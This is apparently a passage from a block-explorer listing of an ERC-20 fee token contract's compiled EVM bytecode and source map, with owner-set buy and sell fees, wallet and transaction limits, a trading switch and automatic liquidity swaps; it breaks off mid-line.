60a01b0382165f9081526004602052604090205460ff16155b15610c2257600654600160a01b900460ff16610c225760405162461bcd60e51b815260206004820152600e60248201526d656e61626c656454726164696e6760901b6044820152606401610576565b6001600160a01b0383165f9081526004602052604090205460ff16158015610c6257506001600160a01b0382165f9081526004602052604090205460ff16155b8015610c7c57506006546001600160a01b03838116911614155b8015610c9357506001600160a01b03821661dead14155b15610d0b576016546001600160a01b0383165f90815260026020526040902054610cbd9083610fce565b1115610d0b5760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e00006044820152606401610576565b6006546001600160a01b03848116911614610daa5760155481111580610d4857506001600160a01b0383165f9081526004602052604090205460ff165b80610d6a57506001600160a01b0382165f9081526004602052604090205460ff165b610daa5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610576565b60145481111580610dd257506001600160a01b0383165f9081526004602052604090205460ff165b80610df457506001600160a01b0382165f9081526004602052604090205460ff165b610e345760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610576565b6006546001600160a01b038381169116148015610e6957506001600160a01b0383165f9081526004602052604090205460ff16155b15610e8657600160075f828254610e809190611749565b90915550505b610e91838383610fd9565b15610ea657610ea1600a54611091565b5f6007555b6001600160a01b0383165f90815260026020526040902054610ec89082610a41565b6001600160a01b0384165f90815260026020908152604080832093909355600490529081205460ff1615610efc5781610f07565b610f07848484611201565b6001600160a01b0384165f90815260026020526040902054909150610f2c9082610fce565b6001600160a01b038085165f8181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f7f9085815260200190565b60405180910390a350505050565b5f8184841115610fb05760405162461bcd60e51b81526004016105769190611576565b505050900390565b5f610546828461175c565b5f6105468284611773565b5f6105468284611749565b600b54600a54305f9081526002602052604081205460085491938510159211159060ff161580156110135750600654600160a81b900460ff165b80156110285750600654600160a01b900460ff165b80156110315750815b801561105557506001600160a01b0386165f9081526004602052604090205460ff16155b801561106e57506006546001600160a01b038681169116145b801561107e575060095460075410155b80156110875750805b9695505050505050565b6008805460ff19166001908117909155600e54600d54600c545f936110ca936002936106ad9391926110c4928391610fce565b90610fce565b90505f6110e682610646600c5486610fb890919063ffffffff16565b90505f6110f38483610a41565b9050476110ff8261132b565b5f61110a4783610a41565b90505f61112c611125600c5488610a4190919063ffffffff16565b8390610fc3565b90505f611144600c5483610fb890919063ffffffff16565b9050801561115657611156868261147b565b600d545f9061116a906106ad856002610fb8565b905080156111ab576018546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156111a9573d5f803e3d5ffd5b505b4780156111eb576017546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156111e9573d5f803e3d5ffd5b505b50506008805460ff191690555050505050505050565b6001600160a01b0382165f9081526004602052604081205460ff161561122a5750601454610546565b5f611235858561152c565b1115611324575f611257611249868661152c565b6013546106ad908690610fc3565b305f908152600260205260409020549091506112739082610fce565b305f81815260026020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112c39085815260200190565b60405180910390a35f600f541180156112e65750600f546112e4868661152c565b115b15611312576113123061dead61130d600f546106ad60135489610fc390919063ffffffff16565b610a4c565b61131c8382610a41565b915050610546565b5092915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061135e5761135e611792565b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113b5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113d991906117a6565b816001815181106113ec576113ec611792565b6001600160a01b039283166020918202929092010152600554611412913091168461091e565b60055460405163791ac94760e01b81526001600160a01b039091169063791ac9479061144a9085905f908690309042906004016117c1565b5f604051808303815f87803b158015611461575f80fd5b505af1158015611473573d5f803e3d5ffd5b505050505050565b6005546114939030906001600160a01b03168461091e565b60055460195460405163f305d71960e01b8152306004820152602481018590525f6044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015611500573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906115259190611830565b5050505050565b6006545f906001600160a01b039081169083160361154d575060115461046f565b6006546001600160a01b039081169084160361156c575060105461046f565b5060125492915050565b5f6020808352835180828501525f5b818110156115a157858101830151858201604001528201611585565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146115d5575f80fd5b50565b5f80604083850312156115e9575f80fd5b82356115f4816115c1565b946020939093013593505050565b5f805f60608486031215611614575f80fd5b833561161f816115c1565b9250602084013561162f816115c1565b929592945050506040919091013590565b5f60208284031215611650575f80fd5b8135610546816115c1565b5f805f6060848603121561166d575f80fd5b505081359360208301359350604090920135919050565b5f805f805f805f60e0888a03121561169a575f80fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b5f80604083850312156116dc575f80fd5b82356116e7816115c1565b915060208301356116f7816115c1565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561046f5761046f611722565b8082018082111561046f5761046f611722565b808202811582820484141761046f5761046f611722565b5f8261178d57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156117b6575f80fd5b8151610546816115c1565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561180f5784516001600160a01b0316835293830193918301916001016117ea565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f60608486031215611842575f80fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204f93a87eb1b6d80858c1cce45492601bbca0dd918cc44a4759cffb4117449be664736f6c63430008150033

Deployed Bytecode

0x608060405260043610610134575f3560e01c8063715018a6116100a8578063a8aa1b311161006d578063a8aa1b311461038a578063a9059cbb146103a9578063cb7f97d7146103c8578063dd62ed3e146103e7578063ed233ee91461042b578063f2fde38b14610440575f80fd5b8063715018a6146102dc578063893d20e8146102f057806395d89b41146103205780639cc353511461034c5780639d8740cb1461036b575f80fd5b80632f54bf6e116100f95780632f54bf6e14610208578063313ce56714610235578063333e6f06146102505780635342acb41461026557806370a082311461029357806370db69d6146102c7575f80fd5b806306fdde031461013f578063095ea7b31461018257806318160ddd146101b157806323b872dd146101d3578063293230b8146101f2575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b50604080518082019091526009815268105393d39e10d2105560ba1b60208201525b6040516101799190611576565b60405180910390f35b34801561018d575f80fd5b506101a161019c3660046115d8565b61045f565b6040519015158152602001610179565b3480156101bc575f80fd5b506101c5610475565b604051908152602001610179565b3480156101de575f80fd5b506101a16101ed366004611602565b6104e5565b3480156101fd575f80fd5b5061020661054d565b005b348015610213575f80fd5b506101a1610222366004611640565b5f546001600160a01b0391821691161490565b348015610240575f80fd5b5060405160098152602001610179565b34801561025b575f80fd5b506101c560165481565b348015610270575f80fd5b506101a161027f366004611640565b60046020525f908152604090205460ff1681565b34801561029e575f80fd5b506101c56102ad366004611640565b6001600160a01b03165f9081526002602052604090205490565b3480156102d2575f80fd5b506101c560155481565b3480156102e7575f80fd5b50610206610594565b3480156102fb575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610179565b34801561032b575f80fd5b5060408051808201909152600481526320a727a760e11b602082015261016c565b348015610357575f80fd5b5061020661036636600461165b565b610601565b348015610376575f80fd5b5061020661038536600461165b565b61073d565b348015610395575f80fd5b50600654610308906001600160a01b031681565b3480156103b4575f80fd5b506101a16103c33660046115d8565b6107a2565b3480156103d3575f80fd5b506102066103e2366004611684565b6107ae565b3480156103f2575f80fd5b506101c56104013660046116cb565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b348015610436575f80fd5b506101c560145481565b34801561044b575f80fd5b5061020661045a366004611640565b6108a2565b5f61046b33848461091e565b5060015b92915050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead5f9081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc5460015491926104e09290916104da9190610a41565b90610a41565b905090565b5f6104f1848484610a4c565b610542843361053d8560405180606001604052806028815260200161185c602891396001600160a01b038a165f9081526003602090815260408083203384529091529020549190610f8d565b61091e565b5060015b9392505050565b5f546001600160a01b0316331461057f5760405162461bcd60e51b815260040161057690611702565b60405180910390fd5b6006805460ff60a01b1916600160a01b179055565b5f546001600160a01b031633146105bd5760405162461bcd60e51b815260040161057690611702565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b0316331461062a5760405162461bcd60e51b815260040161057690611702565b5f61064c61271061064686600154610fb890919063ffffffff16565b90610fc3565b90505f61066a61271061064686600154610fb890919063ffffffff16565b90505f61068861271061064686600154610fb890919063ffffffff16565b60148490556015839055601681905590505f6106b36103e861064660056106ad610475565b90610fb8565b90508084101580156106c55750808310155b80156106d15750808210155b6107345760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b6064820152608401610576565b50505050505050565b5f546001600160a01b031633146107665760405162461bcd60e51b815260040161057690611702565b600983905560015461078190620186a0906106469085610fb8565b600a5560015461079a90620186a0906106469084610fb8565b600b55505050565b5f61046b338484610a4c565b5f546001600160a01b031633146107d75760405162461bcd60e51b815260040161057690611702565b600c879055600d869055600f859055600e849055601083905560118290556012819055601354610808906001610fc3565b601054111580156108285750601354610822906001610fc3565b60115411155b8015610843575060135461083d906001610fc3565b60125411155b6107345760405162461bcd60e51b815260206004820152602a60248201527f62757946656520616e642073656c6c4665652063616e6e6f74206265206d6f7260448201526965207468616e2032302560b01b6064820152608401610576565b5f546001600160a01b031633146108cb5760405162461bcd60e51b815260040161057690611702565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166109805760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610576565b6001600160a01b0382166109e15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610576565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6105468284611736565b6001600160a01b038316610ab05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610576565b6001600160a01b038216610b125760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610576565b6001600160a01b0383165f90815260026020526040902054811115610b935760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b6064820152608401610576565b6001600160a01b0383165f9081526004602052604090205460ff16158015610bd357506001600160a01b0382165f9081526004602052604090205460ff16155b15610c2257600654600160a01b900460ff16610c225760405162461bcd60e51b815260206004820152600e60248201526d656e61626c656454726164696e6760901b6044820152606401610576565b6001600160a01b0383165f9081526004602052604090205460ff16158015610c6257506001600160a01b0382165f9081526004602052604090205460ff16155b8015610c7c57506006546001600160a01b03838116911614155b8015610c9357506001600160a01b03821661dead14155b15610d0b576016546001600160a01b0383165f90815260026020526040902054610cbd9083610fce565b1115610d0b5760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e00006044820152606401610576565b6006546001600160a01b03848116911614610daa5760155481111580610d4857506001600160a01b0383165f9081526004602052604090205460ff165b80610d6a57506001600160a01b0382165f9081526004602052604090205460ff165b610daa5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610576565b60145481111580610dd257506001600160a01b0383165f9081526004602052604090205460ff165b80610df457506001600160a01b0382165f9081526004602052604090205460ff165b610e345760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610576565b6006546001600160a01b038381169116148015610e6957506001600160a01b0383165f9081526004602052604090205460ff16155b15610e8657600160075f828254610e809190611749565b90915550505b610e91838383610fd9565b15610ea657610ea1600a54611091565b5f6007555b6001600160a01b0383165f90815260026020526040902054610ec89082610a41565b6001600160a01b0384165f90815260026020908152604080832093909355600490529081205460ff1615610efc5781610f07565b610f07848484611201565b6001600160a01b0384165f90815260026020526040902054909150610f2c9082610fce565b6001600160a01b038085165f8181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f7f9085815260200190565b60405180910390a350505050565b5f8184841115610fb05760405162461bcd60e51b81526004016105769190611576565b505050900390565b5f610546828461175c565b5f6105468284611773565b5f6105468284611749565b600b54600a54305f9081526002602052604081205460085491938510159211159060ff161580156110135750600654600160a81b900460ff165b80156110285750600654600160a01b900460ff165b80156110315750815b801561105557506001600160a01b0386165f9081526004602052604090205460ff16155b801561106e57506006546001600160a01b038681169116145b801561107e575060095460075410155b80156110875750805b9695505050505050565b6008805460ff19166001908117909155600e54600d54600c545f936110ca936002936106ad9391926110c4928391610fce565b90610fce565b90505f6110e682610646600c5486610fb890919063ffffffff16565b90505f6110f38483610a41565b9050476110ff8261132b565b5f61110a4783610a41565b90505f61112c611125600c5488610a4190919063ffffffff16565b8390610fc3565b90505f611144600c5483610fb890919063ffffffff16565b9050801561115657611156868261147b565b600d545f9061116a906106ad856002610fb8565b905080156111ab576018546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156111a9573d5f803e3d5ffd5b505b4780156111eb576017546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156111e9573d5f803e3d5ffd5b505b50506008805460ff191690555050505050505050565b6001600160a01b0382165f9081526004602052604081205460ff161561122a5750601454610546565b5f611235858561152c565b1115611324575f611257611249868661152c565b6013546106ad908690610fc3565b305f908152600260205260409020549091506112739082610fce565b305f81815260026020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112c39085815260200190565b60405180910390a35f600f541180156112e65750600f546112e4868661152c565b115b15611312576113123061dead61130d600f546106ad60135489610fc390919063ffffffff16565b610a4c565b61131c8382610a41565b915050610546565b5092915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061135e5761135e611792565b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113b5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113d991906117a6565b816001815181106113ec576113ec611792565b6001600160a01b039283166020918202929092010152600554611412913091168461091e565b60055460405163791ac94760e01b81526001600160a01b039091169063791ac9479061144a9085905f908690309042906004016117c1565b5f604051808303815f87803b158015611461575f80fd5b505af1158015611473573d5f803e3d5ffd5b505050505050565b6005546114939030906001600160a01b03168461091e565b60055460195460405163f305d71960e01b8152306004820152602481018590525f6044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015611500573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906115259190611830565b5050505050565b6006545f906001600160a01b039081169083160361154d575060115461046f565b6006546001600160a01b039081169084160361156c575060105461046f565b5060125492915050565b5f6020808352835180828501525f5b818110156115a157858101830151858201604001528201611585565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146115d5575f80fd5b50565b5f80604083850312156115e9575f80fd5b82356115f4816115c1565b946020939093013593505050565b5f805f60608486031215611614575f80fd5b833561161f816115c1565b9250602084013561162f816115c1565b929592945050506040919091013590565b5f60208284031215611650575f80fd5b8135610546816115c1565b5f805f6060848603121561166d575f80fd5b505081359360208301359350604090920135919050565b5f805f805f805f60e0888a03121561169a575f80fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b5f80604083850312156116dc575f80fd5b82356116e7816115c1565b915060208301356116f7816115c1565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561046f5761046f611722565b8082018082111561046f5761046f611722565b808202811582820484141761046f5761046f611722565b5f8261178d57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156117b6575f80fd5b8151610546816115c1565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561180f5784516001600160a01b0316835293830193918301916001016117ea565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f60608486031215611842575f80fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204f93a87eb1b6d80858c1cce45492601bbca0dd918cc44a4759cffb4117449be664736f6c63430008150033

Deployed Bytecode Sourcemap

3873:10247:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6226:67;;;;;;;;;;-1:-1:-1;6286:5:0;;;;;;;;;;;;-1:-1:-1;;;6286:5:0;;;;6226:67;;;;;;;:::i;:::-;;;;;;;;6449:133;;;;;;;;;;-1:-1:-1;6449:133:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6449:133:0;1023:187:1;7132:128:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;7132:128:0;1215:177:1;13145:309:0;;;;;;;;;;-1:-1:-1;13145:309:0;;;;;:::i;:::-;;:::i;6926:67::-;;;;;;;;;;;;;:::i;:::-;;1842:87;;;;;;;;;;-1:-1:-1;1842:87:0;;;;;:::i;:::-;1897:4;1922:5;-1:-1:-1;;;;;1911:16:0;;;1922:5;;1911:16;;1842:87;6376:67;;;;;;;;;;-1:-1:-1;6376:67:0;;4100:1;2252:36:1;;2240:2;2225:18;6376:67:0;2110:184:1;5198:54:0;;;;;;;;;;;;;;;;4293:50;;;;;;;;;;-1:-1:-1;4293:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6588:103;;;;;;;;;;-1:-1:-1;6588:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;6671:18:0;6654:7;6671:18;;;:9;:18;;;;;;;6588:103;5141:50;;;;;;;;;;;;;;;;2052:106;;;;;;;;;;;;;:::i;6842:78::-;;;;;;;;;;-1:-1:-1;6894:7:0;6912:5;-1:-1:-1;;;;;6912:5:0;6842:78;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;6842:78:0;2299:203:1;6299:71:0;;;;;;;;;;-1:-1:-1;6361:7:0;;;;;;;;;;;;-1:-1:-1;;;6361:7:0;;;;6299:71;;7268:530;;;;;;;;;;-1:-1:-1;7268:530:0;;;;;:::i;:::-;;:::i;10487:311::-;;;;;;;;;;-1:-1:-1;10487:311:0;;;;;:::i;:::-;;:::i;4371:19::-;;;;;;;;;;-1:-1:-1;4371:19:0;;;;-1:-1:-1;;;;;4371:19:0;;;6697:139;;;;;;;;;;-1:-1:-1;6697:139:0;;;;;:::i;:::-;;:::i;10804:518::-;;;;;;;;;;-1:-1:-1;10804:518:0;;;;;:::i;:::-;;:::i;6999:127::-;;;;;;;;;;-1:-1:-1;6999:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;7097:18:0;;;7080:7;7097:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6999:127;5079:55;;;;;;;;;;;;;;;;1935:111;;;;;;;;;;-1:-1:-1;1935:111:0;;;;;:::i;:::-;;:::i;6449:133::-;6524:4;6531:37;6540:10;6552:7;6561:6;6531:8;:37::i;:::-;-1:-1:-1;6576:4:0;6449:133;;;;;:::o;7132:128::-;6671:9;:18;;;;5294:42;7185:7;6671:18;;;;;7202:8;;7185:7;;7202:56;;6671:18;;7202:29;;:8;:12;:29::i;:::-;:33;;:56::i;:::-;7195:63;;7132:128;:::o;13145:309::-;13243:4;13260:36;13270:6;13278:9;13289:6;13260:9;:36::i;:::-;13307:117;13316:6;13324:10;13336:87;13372:6;13336:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;13336:19:0;;;;;;:11;:19;;;;;;;;13356:10;13336:31;;;;;;;;;:87;:35;:87::i;:::-;13307:8;:117::i;:::-;-1:-1:-1;13442:4:0;13145:309;;;;;;:::o;6926:67::-;1897:4;1922:5;-1:-1:-1;;;;;1922:5:0;1809:10;1911:16;1793:38;;;;-1:-1:-1;;;1793:38:0;;;;;;;:::i;:::-;;;;;;;;;6970:14:::1;:21:::0;;-1:-1:-1;;;;6970:21:0::1;-1:-1:-1::0;;;6970:21:0::1;::::0;;6926:67::o;2052:106::-;1897:4;1922:5;-1:-1:-1;;;;;1922:5:0;1809:10;1911:16;1793:38;;;;-1:-1:-1;;;1793:38:0;;;;;;;:::i;:::-;2115:1:::1;2099:18:::0;;-1:-1:-1;;;;;;2099:18:0::1;::::0;;2124:32:::1;::::0;2445:51:1;;;2124:32:0::1;::::0;2433:2:1;2418:18;2124:32:0::1;;;;;;;2052:106::o:0;7268:530::-;1897:4;1922:5;-1:-1:-1;;;;;1922:5:0;1809:10;1911:16;1793:38;;;;-1:-1:-1;;;1793:38:0;;;;;;;:::i;:::-;7374:13:::1;7390:29;7413:5;7390:18;7403:4;7390:8;;:12;;:18;;;;:::i;:::-;:22:::0;::::1;:29::i;:::-;7374:45;;7421:19;7443:30;7467:5;7443:19;7456:5;7443:8;;:12;;:19;;;;:::i;:30::-;7421:52;;7475:17;7495:32;7521:5;7495:21;7508:7;7495:8;;:12;;:21;;;;:::i;:32::-;7538:11;:19:::0;;;7559:6:::1;:20:::0;;;7581:10:::1;:22:::0;;;7475:52;-1:-1:-1;;7630:30:0::1;7655:4;7630:20;7648:1;7630:13;:11;:13::i;:::-;:17:::0;::::1;:20::i;:30::-;7614:46;;7688:5;7679;:14;;:38;;;;;7712:5;7697:11;:20;;7679:38;:60;;;;;7734:5;7721:9;:18;;7679:60;7671:119;;;::::0;-1:-1:-1;;;7671:119:0;;4614:2:1;7671:119:0::1;::::0;::::1;4596:21:1::0;4653:2;4633:18;;;4626:30;4692:34;4672:18;;;4665:62;-1:-1:-1;;;4743:18:1;;;4736:44;4797:19;;7671:119:0::1;4412:410:1::0;7671:119:0::1;7363:435;;;;7268:530:::0;;;:::o;10487:311::-;1897:4;1922:5;-1:-1:-1;;;;;1922:5:0;1809:10;1911:16;1793:38;;;;-1:-1:-1;;;1793:38:0;;;;;;;:::i;:::-;10620:17:::1;:31:::0;;;10666:8:::1;::::0;:49:::1;::::0;10707:6:::1;::::0;10666:28:::1;::::0;10679:14;10666:12:::1;:28::i;:49::-;10653:10;:62:::0;10740:8:::1;::::0;:50:::1;::::0;10782:6:::1;::::0;10740:29:::1;::::0;10753:15;10740:12:::1;:29::i;:50::-;10727:10;:63:::0;-1:-1:-1;;;10487:311:0:o;6697:139::-;6775:4;6782:40;6792:10;6804:9;6815:6;6782:9;:40::i;10804:518::-;1897:4;1922:5;-1:-1:-1;;;;;1922:5:0;1809:10;1911:16;1793:38;;;;-1:-1:-1;;;1793:38:0;;;;;;;:::i;:::-;10994:12:::1;:25:::0;;;11021:12:::1;:25:::0;;;11048:7:::1;:15:::0;;;11065:14:::1;:29:::0;;;11096:6:::1;:15:::0;;;11113:7:::1;:15:::0;;;11130:11:::1;:20:::0;;;11179:11:::1;::::0;:18:::1;::::0;-1:-1:-1;11179:15:0::1;:18::i;:::-;11169:6;;:28;;:61;;;;-1:-1:-1::0;11212:11:0::1;::::0;:18:::1;::::0;11228:1:::1;11212:15;:18::i;:::-;11201:7;;:29;;11169:61;:98;;;;-1:-1:-1::0;11249:11:0::1;::::0;:18:::1;::::0;11265:1:::1;11249:15;:18::i;:::-;11234:11;;:33;;11169:98;11161:153;;;::::0;-1:-1:-1;;;11161:153:0;;5029:2:1;11161:153:0::1;::::0;::::1;5011:21:1::0;5068:2;5048:18;;;5041:30;5107:34;5087:18;;;5080:62;-1:-1:-1;;;5158:18:1;;;5151:40;5208:19;;11161:153:0::1;4827:406:1::0;1935:111:0;1897:4;1922:5;-1:-1:-1;;;;;1922:5:0;1809:10;1911:16;1793:38;;;;-1:-1:-1;;;1793:38:0;;;;;;;:::i;:::-;2001:5:::1;:11:::0;;-1:-1:-1;;;;;;2001:11:0::1;-1:-1:-1::0;;;;;2001:11:0;::::1;::::0;;::::1;::::0;;;2019:25:::1;::::0;2445:51:1;;;2019:25:0::1;::::0;2433:2:1;2418:18;2019:25:0::1;;;;;;;1935:111:::0;:::o;12802:335::-;-1:-1:-1;;;;;12895:19:0;;12887:68;;;;-1:-1:-1;;;12887:68:0;;5656:2:1;12887:68:0;;;5638:21:1;5695:2;5675:18;;;5668:30;5734:34;5714:18;;;5707:62;-1:-1:-1;;;5785:18:1;;;5778:34;5829:19;;12887:68:0;5454:400:1;12887:68:0;-1:-1:-1;;;;;12974:21:0;;12966:68;;;;-1:-1:-1;;;12966:68:0;;6061:2:1;12966:68:0;;;6043:21:1;6100:2;6080:18;;;6073:30;6139:34;6119:18;;;6112:62;-1:-1:-1;;;6190:18:1;;;6183:32;6232:19;;12966:68:0;5859:398:1;12966:68:0;-1:-1:-1;;;;;13045:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;13097:32;;1361:25:1;;;13097:32:0;;1334:18:1;13097:32:0;;;;;;;12802:335;;;:::o;493:98::-;551:7;578:5;582:1;578;:5;:::i;11334:1460::-;-1:-1:-1;;;;;11431:20:0;;11423:70;;;;-1:-1:-1;;;11423:70:0;;6729:2:1;11423:70:0;;;6711:21:1;6768:2;6748:18;;;6741:30;6807:34;6787:18;;;6780:62;-1:-1:-1;;;6858:18:1;;;6851:35;6903:19;;11423:70:0;6527:401:1;11423:70:0;-1:-1:-1;;;;;11512:23:0;;11504:71;;;;-1:-1:-1;;;11504:71:0;;7135:2:1;11504:71:0;;;7117:21:1;7174:2;7154:18;;;7147:30;7213:34;7193:18;;;7186:62;-1:-1:-1;;;7264:18:1;;;7257:33;7307:19;;11504:71:0;6933:399:1;11504:71:0;-1:-1:-1;;;;;6671:18:0;;6654:7;6671:18;;;:9;:18;;;;;;11594:6;:27;;11586:88;;;;-1:-1:-1;;;11586:88:0;;7539:2:1;11586:88:0;;;7521:21:1;7578:2;7558:18;;;7551:30;7617:34;7597:18;;;7590:62;-1:-1:-1;;;7668:18:1;;;7661:47;7725:19;;11586:88:0;7337:413:1;11586:88:0;-1:-1:-1;;;;;11689:25:0;;;;;;:17;:25;;;;;;;;11688:26;:59;;;;-1:-1:-1;;;;;;11719:28:0;;;;;;:17;:28;;;;;;;;11718:29;11688:59;11685:107;;;11757:14;;-1:-1:-1;;;11757:14:0;;;;11749:41;;;;-1:-1:-1;;;11749:41:0;;7957:2:1;11749:41:0;;;7939:21:1;7996:2;7976:18;;;7969:30;-1:-1:-1;;;8015:18:1;;;8008:44;8069:18;;11749:41:0;7755:338:1;11749:41:0;-1:-1:-1;;;;;11806:25:0;;;;;;:17;:25;;;;;;;;11805:26;:59;;;;-1:-1:-1;;;;;;11836:28:0;;;;;;:17;:28;;;;;;;;11835:29;11805:59;:89;;;;-1:-1:-1;11889:4:0;;-1:-1:-1;;;;;11868:26:0;;;11889:4;;11868:26;;11805:89;:119;;;;-1:-1:-1;;;;;;11898:26:0;;5294:42;11898:26;;11805:119;11802:227;;;11982:10;;-1:-1:-1;;;;;11945:20:0;;;;;;:9;:20;;;;;;:32;;11970:6;11945:24;:32::i;:::-;11944:48;;11936:91;;;;-1:-1:-1;;;11936:91:0;;8300:2:1;11936:91:0;;;8282:21:1;8339:2;8319:18;;;8312:30;8378:32;8358:18;;;8351:60;8428:18;;11936:91:0;8098:354:1;11936:91:0;12052:4;;-1:-1:-1;;;;;12042:14:0;;;12052:4;;12042:14;12039:128;;12076:6;;12066;:16;;:45;;;-1:-1:-1;;;;;;12086:25:0;;;;;;:17;:25;;;;;;;;12066:45;:77;;;-1:-1:-1;;;;;;12115:28:0;;;;;;:17;:28;;;;;;;;12066:77;12058:107;;;;-1:-1:-1;;;12058:107:0;;8659:2:1;12058:107:0;;;8641:21:1;8698:2;8678:18;;;8671:30;-1:-1:-1;;;8717:18:1;;;8710:47;8774:18;;12058:107:0;8457:341:1;12058:107:0;12195:11;;12185:6;:21;;:50;;;-1:-1:-1;;;;;;12210:25:0;;;;;;:17;:25;;;;;;;;12185:50;:82;;;-1:-1:-1;;;;;;12239:28:0;;;;;;:17;:28;;;;;;;;12185:82;12177:112;;;;-1:-1:-1;;;12177:112:0;;8659:2:1;12177:112:0;;;8641:21:1;8698:2;8678:18;;;8671:30;-1:-1:-1;;;8717:18:1;;;8710:47;8774:18;;12177:112:0;8457:341:1;12177:112:0;12317:4;;-1:-1:-1;;;;;12304:17:0;;;12317:4;;12304:17;:47;;;;-1:-1:-1;;;;;;12326:25:0;;;;;;:17;:25;;;;;;;;12325:26;12304:47;12301:75;;;12372:1;12353:7;;:21;;;;;;;:::i;:::-;;;;-1:-1:-1;;12301:75:0;12389:45;12408:6;12416:9;12427:6;12389:18;:45::i;:::-;12386:100;;;12436:26;12451:10;;12436:14;: